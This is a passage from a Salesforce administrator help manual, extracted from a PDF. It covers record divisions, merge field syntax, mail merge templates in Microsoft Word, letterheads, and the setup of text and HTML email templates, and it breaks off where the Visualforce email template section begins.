There are three basic aspects to divisions: Division on individual recordsDivision is a field on individual records which marks the record as belonging to a particular division. A record can belong to a division that the administrator creates, or it can belong to the standard global division which is created automatically when your organization enables divisions. Default division for a userUsers are assigned to a default division that applies to their newly created accounts, leads, and custom objects that are enabled for divisions. Working divisionIf you have the Affected by Divisions permission, you set the division in which you want to work using a drop-down list in the sidebar. Then, searches will show only the data for your working division. You can change your working division at any time. If you do not have the Affected by Divisions permission, you do not have a working division; you always see records in all divisions.

The following table shows how using divisions affects different areas: Area Search Description If you have the Affected by Divisions permission: In sidebar search, you can select a working division to search, or you can search all divisions. In advanced search, you can perform an advanced search on a working division or all divisions.

459

Divisions

Overview of Divisions

Area

Description In global search, you can perform a global search on a working division or all divisions. For searches in lookup dialogs, the results include records in the division you select from the drop-down list in the lookup dialog window. Note: All searches within a working division also include the global division. For example, if you search within a working division called Western Division, your results will include records found in both the Western Division and the global division. If you do not have the Affected by Divisions permission, your search results always include records in all divisions.

List views

If you have the Affected by Divisions permission, list views include only the records in the division you specify when creating or editing the list view. List views that are not searching all records (such as My Open Cases) include records in all divisions. If you do not have the Affected by Divisions permission, your list views always include records in all divisions.

Reports

If you have the Affected by Divisions permission, you can set your report options to include records in just one division or all divisions. Reports that are already scoped (such as My Cases or My teams accounts) include records in all divisions, and you cannot further limit them to a specific division. If you do not have the Affected by Divisions permission, your reports always include records in all divisions.

Viewing records and related lists

When viewing the detail page of a record, the related lists show all associated records to which you have access, regardless of division. When you create new accounts, leads, or custom objects that are enabled for divisions, the division is automatically set to your default division, unless you override this setting. When you create new records related to an account or other record that already has a division, the new record is assigned to the existing records division. For example, if you create a custom object record that is on the detail side of a master-detail relationship with a custom object that has divisions enabled, it is assigned the master record's division. When you create records that are not related to other records, such as private opportunities or contacts not related to an account, the division is automatically set to the global division.

Creating new records

460

Divisions

Overview of Divisions

Area Editing records

Description When editing accounts, leads, or custom objects that are enabled for divisions, you can change the division. All records that are associated through a master-detail relationship are automatically transferred to the new division as well. For example, contacts and opportunities are transferred to the new division of their associated account, and detail custom objects are transferred to their master record's new division. When editing other types of records, you cannot change the division setting.

Custom objects

When you enable divisions for a custom object, Salesforce initially assigns each record for that custom object to the global division. When you create a custom object record: If the custom object is enabled for divisions, the record adopts your default division. If the custom object is on the detail side of a master-detail relationship with a divisions-enabled custom object, it adopts the division of the master record.

Relationships

If you convert a lookup relationship to a master-detail relationship, detail records lose their current division and inherit the division of their master record. If you convert a master-detail relationship to a lookup relationship, the division for any detail records is determined by the previous master record. If you delete a master-detail relationship, the division for any detail records is determined by the previous master record.

See Also:
Getting Started with Divisions Administrator tip sheet: Getting Started with Divisions About Divisions

461

Divisions

Getting Started with Divisions

Getting Started with Divisions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit divisions: To limit list views, searches, and reports by division: Modify All Data Affected by Divisions

The basic steps to begin using divisions are: 1. Contact salesforce.com to enable divisions for your organization. When divisions are enabled, one global division is automatically created for your organization and all records are assigned to that division by default. The default name for this division is Global, which you may customize if you wish. 2. Create divisions for your organization's data. See Creating and Editing Divisions on page 463. Before creating divisions, plan which divisions you need based on how you want to segment your data. For example, you may want one division for all of the records belonging to your North American sales team and one division for your European sales team. You can create a maximum of 100 divisions, including any inactive ones. 3. For custom objects, select Enable Divisions on the custom object definition page to enable for divisions. See Defining Custom Objects on page 1822. 4. Transfer leads, accounts, and custom objects into relevant divisions. See Transferring Divisions on page 782. Transferring records includes associated records. For example, when you transfer divisions for accounts, all records related to a particular account, such as contacts and opportunities, inherit the division of that account. 5. Add division fields to page layouts, as appropriate. 6. Add divisions to field-level security, as appropriate. 7. Enable the Affected by Divisions permission for users who should be able to limit list views, searches, and reports by division. Users without this permission still have a default division, can view division fields, change the division for a record, and specify a division while creating records. 8. Set the default division for all users. See Transferring Divisions on page 782. See also Changing Your Default Division on page 41 for information on changing divisions for one user at a time. A users default division determines the division assigned to all new accounts and leads he or she creates, unless the user explicitly sets a different division. When users create records related to an account or other record that already has a division, the new record is assigned to the existing records division; the default division is not used. Remember to set the default division for all users, even those without the Affected by Divisions permission. Records created by users without that permission are still assigned to a division.

462

Divisions

Creating and Editing Divisions

9. Instruct users how to set their working division for searches and reports. See Changing Your Working Division on page 62.

See Also:
Overview of Divisions Administrator tip sheet: Getting Started with Divisions About Divisions

Creating and Editing Divisions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit divisions: To limit list views, searches, and reports by division: Modify All Data Affected by Divisions

To create and edit divisions: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Manage Divisions. Click New to create a division, or Edit to change an existing one. Enter the division name. Select the checkbox to make the division active, meaning that records and users can be assigned to this division. You cannot make a division inactive if users or lead queues are assigned to that division. 5. Click Save. Note: You can create a maximum of 100 divisions, including any inactive ones.

To change the order in which divisions appear in the Division picklist field, click the Sort button and use the arrows to order the divisions.

See Also:
About Divisions Overview of Divisions Getting Started with Divisions Administrator tip sheet: Getting Started with Divisions

463

Divisions

Managing Templates

Managing Templates
Available in: All Editions except Database.com

Your administrator can create and maintain templates for defining letterheads, sending outbound email, and generating mail merge documents. Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo, color, and text settings from a letterhead. Email templates allow users to send email to contacts, leads, and others using predefined templates. Mail merge templates allow users to create custom documents using the information from your records. For example, you can create a customized thank you letter to a specific lead.

See Also:
Merge Fields Overview Creating Letterheads Managing Email Templates Managing Mail Merge Templates

Merge Fields Overview


The available merge fields vary according to which Salesforce edition you have.

Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. For example, you can place a merge field in an email template so that the greeting includes the recipients name rather than a generic Hello!. You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when you create email or mail merge templates. Merge field names are determined when you create a new custom field or object. Field Name is automatically populated based on what you type into Field Label. You can customize this field if you want, but keep in mind that the name must: Only use underscores and alphanumeric characters Begin with a letter and end with a letter Not include spaces Not contain two consecutive underscores Important: Ensure that the custom field name and label are unique for that object. If a standard and custom field have identical names or labels, the merge field displays the custom field value. If two custom fields have identical names or labels, the merge field may display an unexpected value.

464

Divisions

Managing Templates

If you create a field label called Email and a standard field labeled Email already exists, the merge field may be unable to distinguish between the fields. Adding a character to the custom field name makes it unique. For example, Email2. To find the merge field name for an object or field in Salesforce, visit the object or fields detail page and refer to Field Name. To incorporate merge fields, use the editor in the respective feature. Salesforce provides valid merge fields in each editor for all related standard and custom objects. If youre using the Connect for Office Word add-in to create mail merge templates, youll see a complete list of valid merge fields to insert.

Syntax
The syntax for a merge field may differ, depending on where youre using it in Salesforce. To ensure that youre using the correct syntax, select merge fields from the drop-down list in the editor where youre using the merge field. Custom objects and fields are always appended with __c when referenced. Field labels are preceded by the object, and all spaces are converted to underscores. For example, Account.CreatedDate references the Created Date standard field for the account object. In standard relationships, the name of the relationship is the master object. For example, you can reference the account name from a contact validation rule using Account.Name; you can reference the phone number of the account creator from an opportunity product formula field using Opportunity.Account.CreatedBy.Phone. In custom relationships, the name of the relationship is the value specified in Field Name with __r appended to it. For example, you can reference contact email from a custom object validation rule using Contact__r.Email.

General Tips
To use a merge field as the destination of a link, insert the merge field after http://. Salesforce rounds numbers referenced in merge fields according to the user's locale, not the number of decimal of spaces specified in the number field configuration. You can store the name of an account, contact, or lead in your organizations default language (the local name), in addition to the account or users default language (the standard name). If the local name is blank, the standard merge field name is used. To reference a stand-alone file, use $Resource.<resource_name>, where <resource_name> is the name you specified when you uploaded the resource. If you're using the Translation Workbench to translate custom field names, users can look up merge fields in their chosen language.

See Also:
Merge Fields for Cases Merge Fields for Mail Merge Templates Merge Fields for Email Templates Understanding Global Variables

465

Divisions

Managing Mail Merge Templates

Managing Mail Merge Templates


Available in: All Editions except Database.com

User Permissions Needed To upload mail merge templates: To edit mail merge templates: Manage Public Templates Manage Public Templates

Mail merge templates define the content of a form letter or other mail merge document. They include variables called merge fields where data from your recordsfor example a contact's name and addressdisplays in the generated document. As an administrator, you are responsible for building mail merge templates in Microsoft Word and uploading them to Salesforce to make them available for your users. See the following topics: Creating New Mail Merge Templates explains how to build a new mail merge template from a blank Word document. Modifying Existing Mail Merge Templates explains how to download sample templates and modify them to meet your unique business needs. Uploading Mail Merge Templates to Salesforce explains how to upload completed mail merge templates to Salesforce. Tip: Click the following link to download a Zip file of sample mail merge templates: mm_templates.zip

See Also:
Mail Merge Overview Merge Fields for Mail Merge Templates Sending Single Mail Merge Documents

Creating New Mail Merge Templates


Available in: All Editions except Database.com

User Permissions Needed To upload mail merge templates: To edit mail merge templates: Manage Public Templates Manage Public Templates

1. Open a new blank document in Microsoft Word 2002, 2003, or 2007. 2. Use Word to compose the document so it contains the text, data, and formatting your users require.

466

Divisions

Managing Mail Merge Templates

3. Locate the text or data variables in your Word document that will change each time the template is used. For example, in the salutation Dear Bob, Bob is a variable because it will change when the letter is sent to a different person. 4. Replace each variable with the appropriate Salesforce merge field. Important: Each mail merge field label you use must be unique. If you have Connect for Office, you can use Word integration to insert merge fields quickly. If you do not have Connect for Office: a. Place your cursor where you want to insert a merge field. b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert tab on the Ribbon, click Quick Parts in the Text group, and then click Field. c. Select Mail Merge in the Categories drop-down list. d. Select MergeField in the Field names box. e. In the Field Properties area of the Field name box, manually enter the valid Salesforce merge field, such as Opportunity_LineItem_ProductName. f. Click OK. Note: To list information about all products associated with an opportunity, insert the Opportunity_LineItem_Start merge field where you want to begin listing product information. Then, insert all the merge fields you want to include for each product on an opportunity. Finally, insert the Opportunity_LineItem_End to end the list. 5. Save your Word document. 6. Proceed to Uploading Mail Merge Templates to Salesforce on page 470. Tip: For best results: Do not configure mail merge templates as protected or restricted access in Microsoft Word. Please refer to Word's help for information about protected Word documents. (In Word, press F1 to open help.) Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please refer to Word's help for information about restoring mail merge documents to what Word calls normal Word documents. For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge Templates.

See Also:
Managing Mail Merge Templates Mail Merge Overview Force.com Connect for Microsoft Office Overview

467

Divisions

Managing Mail Merge Templates

Merge Fields for Mail Merge Templates


Available in: All Editions except Database.com

Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information.

Syntax and Formatting


Mail merge templates are created by uploading documents to Salesforce from your desktop. The syntax for these merge fields is OBJECT_FIELD_NAME or FIELD_NAME. Merge fields for mail merge templates must: Be unique Contain only letters, numbers, and the underscore (_) character Not exceed 40 characters

For example: AccountNumber. To ensure youre using the correct syntax, use Connect for Office to insert merge fields into your mail merge template.

Compatibility with Other Features


For opportunity mail merges, you can use contact merge fields to merge additional information about a related contact. Merge fields for products on opportunities are only available to organizations that have enabled products. Approval process merge fields can be used in email templates, but not mail merge templates. Campaign and campaign member merge fields cannot be used in mail merge templates.

Tips
Templates with contact merge fields can be used to generate mail merge documents for leads. Likewise, you can use lead templates to generate contact documents. Note: You can only use standard fields when generating mail merge documents for leads or contacts.

See Also:
Merge Fields Overview Mail Merge Overview Guidelines for Uploading Mail Merge Templates Merge Fields for Cases

468

Divisions

Managing Mail Merge Templates

Modifying Existing Mail Merge Templates


Available in: All Editions except Database.com

User Permissions Needed To upload mail merge templates: To edit mail merge templates: Manage Public Templates Manage Public Templates

1. 2. 3. 4.

Download the sample mail merge templates and unzip the files to a convenient directory on your hard drive. Review the instructions provided in salesforce_mailmerge_templates_howto.doc. Open the desired sample template in Microsoft Word. Save a copy of the sample template to your computer's desktop or other convenient location: Word 2000, XP, and 2003 users, select Save As from the File menu then choose an appropriate file name and destination folder. Word 2007 users, select Save As from the Office button then choose an appropriate file name and destination folder.

5. Optionally, customize the text and formatting of the template. 6. Press ALT+F9 to display the hidden mail merge field codes. Each of the mail merge fields should now appear in curly braces as follows: {MERGEFIELD Contact_FullName \*
MERGEFORMAT}

7. Change or add merge fields as necessary. If you have Connect for Office, you can use Word integration to insert merge fields quickly. If you do not have Connect for Office: a. Place your cursor where you want to insert a merge field. b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert tab on the Ribbon, click Quick Parts in the Text group, and then click Field. c. Select Mail Merge in the Categories drop-down list. d. Select MergeField in the Field names box. e. In the Field Properties area of the Field name box, manually enter the valid Salesforce merge field, such as Opportunity_LineItem_ProductName. f. Click OK. Note: To list information about all products associated with an opportunity, insert the Opportunity_LineItem_Start merge field where you want to begin listing product information. Then, insert all the merge fields you want to include for each product on an opportunity. Finally, insert the Opportunity_LineItem_End to end the list. 8. Save your Word document. 9. Proceed to Uploading Mail Merge Templates to Salesforce on page 470.

469

Divisions

Managing Mail Merge Templates

Tip: For best results: Do not configure mail merge templates as protected or restricted access in Microsoft Word. Please refer to Word's help for information about protected Word documents. (In Word, press F1 to open help.) Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please refer to Word's help for information about restoring mail merge documents to what Word calls normal Word documents. For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge Templates.

See Also:
Managing Mail Merge Templates Merge Fields for Mail Merge Templates Mail Merge Overview Force.com Connect for Microsoft Office Overview

Uploading Mail Merge Templates to Salesforce


Available in: All Editions except Database.com

User Permissions Needed To upload mail merge templates: To edit mail merge templates: Manage Public Templates Manage Public Templates

Administrators and users with the Manage Public Templates permission must upload completed Microsoft Word mail merge templates to Salesforce to make them available for use. Tip: Before uploading a template, we recommend reviewing Guidelines for Uploading Mail Merge Templates.

1. In Salesforce, click Your Name > Setup > Communication Templates > Mail Merge Templates. 2. Click New Template. 3. Enter a name and description for the template. This will help users correctly choose a template when generating mail merge documents. If your organization uses Extended Mail Merge, choose the appropriate document type: Document, Label, or Envelope. Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in this feature. 4. Click Browse to select your Word mail merge template.

470

Divisions

Using Letterheads

5. Click Save to finish.

See Also:
Managing Mail Merge Templates Merge Fields Overview Mail Merge Overview

Using Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change letterheads: Manage Letterheads

A letterhead defines the logo, page color, and text settings for your HTML email templates. For best results, create a single letterhead to use for all your HTML email templates. You can create letterheads and make them available organization-wide. To use letterheads, click Your Name > Setup > Communication Templates > Letterheads. From the Letterheads list page: To view a letterhead, select the name from the list. To edit a letterhead, click the name from the list and choose one of the edit options: Edit Properties or Edit Letterhead. To delete a letterhead, click Del next to the name. You cannot delete a letterhead that is used in any HTML email templates.

See Also:
Creating Letterheads Letterhead Fields

Creating Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change letterheads: Manage Letterheads

Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo, color, and text settings from a letterhead. A letterhead consists of properties and details. The properties are only visible inside your

471

Divisions

Using Letterheads

organization; they help users identify a letterhead. The details are applied to an email when using that letterhead. Use the letterhead wizard to create both the properties and details of your letterhead. 1. Click Your Name > Setup > Communication Templates > Letterheads. 2. Click New Letterhead.

Setting Letterhead Properties


1. Check Available For Use if you would like users to be able to use the new letterhead immediately. 2. Enter a Letterhead Label. The label is used to refer to the letterhead on user interface pages. 3. If necessary, change the Letterhead Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Letterhead Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 4. Enter a description for this letterhead. The name and description fields are for internal use only to describe the letterhead to other users. 5. Click Save. The letterhead detail page appears.

Setting Letterhead Details


1. Set the attributes for the letterhead. Click Edit Background Color, and enter a color for the background of your letterhead. Click the color picker button to choose a color. Click Edit Header Properties, and select the color, alignment, and height for the top section of the letterhead. Click Select Logo to include an image of your company logo in the top or bottom section of the letterhead. To select an image, choose a folder, and click the document name to attach the document. Alternatively, click Search in Documents, and enter the file name to search for documents by name. Make sure the document you select is marked as Externally Available on the Documents tab so that a user who does not have a Salesforce username and password can view the image when it is received in an email. Click Remove Logo to delete the image from the letterhead. Click Edit Top Line, and enter a color and height for a horizontal line below the header. Click the color picker button to choose a color. Click Edit Body Colors, and enter the background color for the main body of your letterhead. Click Edit Middle Line, and enter a color and height for the middle border in your letterhead. Click the color picker button to choose a color. Click Edit Footer Properties, and select a color, alignment, and height for the bottom section of the letterhead. Click Edit Bottom Line, and select a color and height of a bottom horizontal line. Click the color picker button to choose a color.

2. Optionally, click Preview to display the letterhead in a separate browser window. 3. Click Save. To create an HTML email template that contains the settings in your letterhead, see Creating HTML Email Templates on page 478.

See Also:
Managing Email Templates Creating Custom HTML Email Templates

472

Divisions

Using Letterheads

Letterhead Fields
Here is a description, in alphabetical order, of the fields that appear on the Letterhead Detail page. Field
Available For Use

Description Check mark that indicates the letterhead can be applied to an HTML template. Name of the user who created the letterhead, including the date and time. Text that helps distinguish this letterhead from others. Internal name to identify the letterhead. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Letterhead Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. Name of the user who last modified the letterhead, including the date and time. The namespace prefix used by the email template within the API.

Created By

Description Letterhead Label Letterhead Unique Name

Modified By

Namespace Prefix

See Also:
Creating Letterheads

473

Divisions

Managing Email Templates

Managing Email Templates


Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed To create or change HTML email templates: To create or change Visualforce email templates: To create or change public email template folders: Edit HTML Templates Customize Application Manage Public Templates

You can create four different types of email templates: Text - All users can create or change text email templates. See Creating Text Email Templates on page 477. HTML with letterhead - Administrators and users with the Edit HTML Templates permission can create HTML email templates based on a letterhead. See Creating HTML Email Templates on page 478. Custom HTML - Administrators and users with the Edit HTML Templates permission can create custom HTML email templates without using a letterhead. You must either know HTML or obtain the HTML code to insert in your email template. See Creating Custom HTML Email Templates on page 487. Visualforce - Administrators and developers can create templates using Visualforce. Visualforce email templates allow for advanced merging with a recipient's data, where the content of a template can contain information from multiple records. See Creating Visualforce Email Templates.

All of these email templates can include text, merge fields, and attached files. You can also include images on your HTML and Visualforce templates. You can use email templates when you send an email from the Activity History related list of a record. Text and HTML templates can also be used when you send mass email. A button to check the spelling of your template is available for text templates and Visualforce templates without HTML tags. Note: You cant send a mass email using a Visualforce email template.

To manage your personal email templates, click Your Name > Setup > Email > My Templates. If you have permission to manage public email templates, click Your Name > Setup > Communication Templates > Email Templates. Click on the name of any email template to go to the Viewing Email Templates page. To edit or delete a template, click Edit or Del next to the template name in the list. Click New Template to create any type of email template. Note: Email templates used in the following features must be both public and active: Web-to-Lead Web-to-Case Email-to-Case or On-Demand Email-to-Case Assignment rules

474

Divisions

Managing Email Templates

Escalation rules Auto-response rules

See Also:
Cloning Email Templates Using Letterheads Developer's Guide: Visualforce Developer's Guide Administrator tip sheet: Tips for Using HTML Email Templates

Viewing Email Templates


Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed To create or change HTML email templates: To create or change Visualforce email templates: To create or change public email template folders: Edit HTML Templates Customize Application Manage Public Templates

To view a template, click the template name in the list. The options vary depending on the template type (custom, HTML, Visualforce, or text): For text templates, click Edit to change the message content, subject, or merge fields. For custom and HTML templates: Click Edit HTML Version to change the content or merge fields of the HTML version. Note: All custom and HTML email templates include a text-only version for recipients who are unable to view HTML emails. If you leave the text-only version blank, the text-only version is automatically generated when you edit the HTML version. Click Edit Text Version to change the content or merge fields of the text-only version. Warning: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce automatically creates the text-only content based on the current HTML version. If you don't leave the text-only version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the text-only version. For Visualforce templates:

475

Divisions

Managing Email Templates

Click Edit Template to change the markup of the template page. The Visualforce Attachments related list indicates which attachments are being generated through Visualforce markup. If the Visualforce markup references components in installed managed packages, such as another class, a trigger, a custom object, and so on, the Version Settings related list shows the package versions of the installed managed packages containing the referenced components. If the email template includes encrypted data, keep in mind that the data displays encrypted within the generated email and when viewing the Visualforce template page. It doesn't display in plain text for security purposes. Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email. Click Attach File from the Attachments related list to add an attachment to the template. The attached file is included in every email that uses the template. To select a file: Click the Search in Documents link to search for files in the Documents tab. If you select an image logo or other graphic file, make sure the document is marked as Externally Available on the Documents tab so all email recipients can view the image. Alternatively, choose an option from the File Location drop-down list to select a file from your computer or from a document folder. If you have the Manage Public Templates permission, you can click [Change] next to the Author field to select a different author. Initially, the author is the person who created the email template. Click Delete to remove the template. Click Clone to clone a template. For more information, see Cloning Email Templates on page 489. If Developer Mode is enabled, click Show Dependencies to see what components the template references. For more information, see Understanding Dependencies on page 2063.

See Also:
Managing Email Templates Email Template Fields Managing Version Settings for Visualforce Email Templates

476

Divisions

Managing Email Templates

Creating Text Email Templates


Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed To create or change public email template folders: Manage Public Templates

To create a text email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click New Template. 3. Choose the Text template type, and click Next. 4. Choose a folder in which to store the template. 5. Select the Available For Use checkbox if you would like this template offered to users when sending an email. 6. Enter an Email Template Name. 7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 8. Select an Encoding setting to determine the character set for the template. 9. Enter a Description for the template. Both template name and description are for internal use only. 10. Enter the Subject for the message. 11. Enter the text to appear in the message. 12. Optionally, enter merge fields in the template subject and text body. These fields will be replaced with information from your records when you send an email. For details about using merge fields, see Merge Fields Overview on page 464. 13. Click Save. Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email.

Attaching Files to Templates


To add an attachment to a template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Select a template. 3. Click Attach File from the email template detail page.

477

Divisions

Managing Email Templates

4. Choose a folder and click the document name to attach the document, or click Search in Documents and enter the file name to search for a document by name. Alternatively, click My Computer to attach a file from your computer. The attached file is included in every email that uses the template. Note that attachments in mass emails are sent as links rather than as physical files (see Sending Mass Email on page 262).

See Also:
Managing Email Templates Creating HTML Email Templates Creating Custom HTML Email Templates Creating Visualforce Email Templates Cloning Email Templates

Creating HTML Email Templates


Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed To create or change HTML email templates: To create or change public email template folders: Edit HTML Templates Manage Public Templates

To create an HTML email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click New Template. 3. Choose HTML (using Letterhead) and click Next. 4. Choose a folder in which to store the template. 5. Select the Available For Use checkbox if you would like this template offered to users when sending an email. 6. Enter an Email Template Name. 7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 8. Select a Letterhead. The letterhead decides the logo, page color, and text settings of your email.

478

Divisions

Managing Email Templates

9. Select the Email Layout. The email layout determines the columns and page layout of the message text. Click View Email Layout Options to see samples. 10. Select an Encoding setting to determine the character set for the template. 11. Enter a Description of the template. Both template name and description are for your internal use only. The description is used as the title of any email activities you log when sending mass email. 12. Click Next. 13. Enter the Subject to appear in the email you send. 14. Enter the text to appear in the message you send. Click any section and begin entering text for your message. To prevent users from editing a section when using this template, click the padlock icon. 15. Change the style of your text by selecting the text and using the format toolbar. See Using the Format Toolbar on page 486 for instructions on the format toolbar. 16. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see Merge Fields Overview on page 464. 17. Click Next. 18. Optionally, enter the text-only version of your email or click Copy text from HTML version to automatically paste the text from your HTML version without the HTML tags. The text-only version is available to recipients who are unable to view HTML emails. Warning: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce automatically creates the text-only content based on the current HTML version. If you don't leave the text-only version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the text-only version. 19. Click Save. Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email.

See Also:
Creating Text Email Templates Creating Custom HTML Email Templates Creating Visualforce Email Templates Cloning Email Templates Creating Letterheads Adding Images to Email Templates Cloning Email Templates Can I use Salesforce to send HTML emails?

479

Divisions

Managing Email Templates

Merge Fields for Email Templates


Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition

Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. You can use merge fields in the subject and body of custom HTML templates.

Syntax and Formatting


When you insert a merge field in an email template, the syntax consists of an open curly brace and exclamation point, followed by the object name, a period, the field name and a closing curly brace. For example, if you want to include the account number of your recipient, you could enter ID: {!Account.AccountNumber}, and your recipients email will display ID: 001234567890123. The syntax for a merge field may differ, depending on where youre using it in Salesforce. To ensure that youre using the correct syntax, select merge fields from the drop-down list in the editor where youre using the merge field. Most merge fields for email templates correspond directly with an email template field. For a full list of these fields, see Email Template Fields on page 490. Important: If a custom objects name and label are identical to the name and label of another object, you may see unexpected behavior when using that objects merge fields. If a standard object and custom object have matching names or labels, only the standard object's fields display when you select from Available Merge Fields. For example, if you have a custom object and a standard object both called Quote, you wont be able to select the custom object. To ensure that you can select merge fields from either object, add a character to make the custom objects name and label unique, such as Quote2. If two or more custom objects have matching names or labels, only one of the objects displays when you select from Available Merge Fields. Ensure that all custom objects have unique names and labels so that you can select merge fields from any of the objects.

Tips
General Tips In email templates, you can add substitute text to any merge field. Substitute text displays in a sent email if the merge record does not contain data for that field. To add substitute text, place a comma after the field name and enter the text before the closing bracket, for example: Dear {!Contact.FirstName, Valued Customer}. When you save the template, the merge field appears in the template as Dear {!BLANKVALUE(Contact.FirstName, "Valued Customer")}. In this example, if there is no information in the First Name field of the contact record, the email you create with your template will begin with Dear Valued Customer. The {!Receiving_User.field_name} and {!Sending_User.field_name} merge fields work only for mass email and are unavailable in Visualforce email templates.

480

Divisions

Managing Email Templates

User fields are also known as Sending User fields for administrators and users with the Manage Users permission. Use them in email templates when referencing the person sending the email. Administrators and users with the Manage Users permission can use Receiving User merge fields for email templates to reference the recipient of the email. The Created Date and Last Modified Date fields display only the date, not the date and time. If your template contains a merge field for which there is no data in a particular record, that field does not appear in the email you send. To find blank fields, modify your recipient list view to search for the merge fields you are using in your template, and enter the criterion <field> equals, leaving the third field blank. Edit those records that have blank fields before you send your emails.

Accounts When account merge fields are included in an email template and this template is selected after a contact is added to the email To field, the account merge fields are populated from the contact's account, not the case's account. Approvals If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these fields will return values only when that email template is used as the approval assignment template. If you use the template for any other email alert actionin either workflow rules or approval processesthe merge fields will return a null value. Campaigns Campaign and campaign member merge fields can be used in email templates, but not mail merge templates. Campaign member merge fields cannot be used with other types of merge fields in the same email template. For example, if you create an email template using a campaign member merge field and you want to include the title of the recipient, use {!CampaignMember.Title} instead of {!Lead.Title} or {!Contact.Title}.

Cases If you have enabled Email-to-Case or On-Demand Email-to-Case, you can create email templates that support agents can use to respond to case emails. These templates can include merge fields that display information from the original email in the response. Connection Finder Custom email templates must contain the survey URL. {!Contact.PartnerSurveyURL} is available as a contact merge field when creating templates. Contacts Templates with contact merge fields can be used to generate email documents for leads. Likewise, you can use lead templates to generate contact emails and documents. Note: You can only use standard fields when generating email for leads or contacts.

481

Divisions

Managing Email Templates

Opportunities Merge fields for products on opportunities are only available to organizations that have enabled products and can only be used in mail merge templates, but not email templates.

See Also:
Merge Fields Overview Creating HTML Email Templates Managing Email Templates

Creating Visualforce Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed To create or change Visualforce email templates: To create or change public email template folders: Customize Application Manage Public Templates

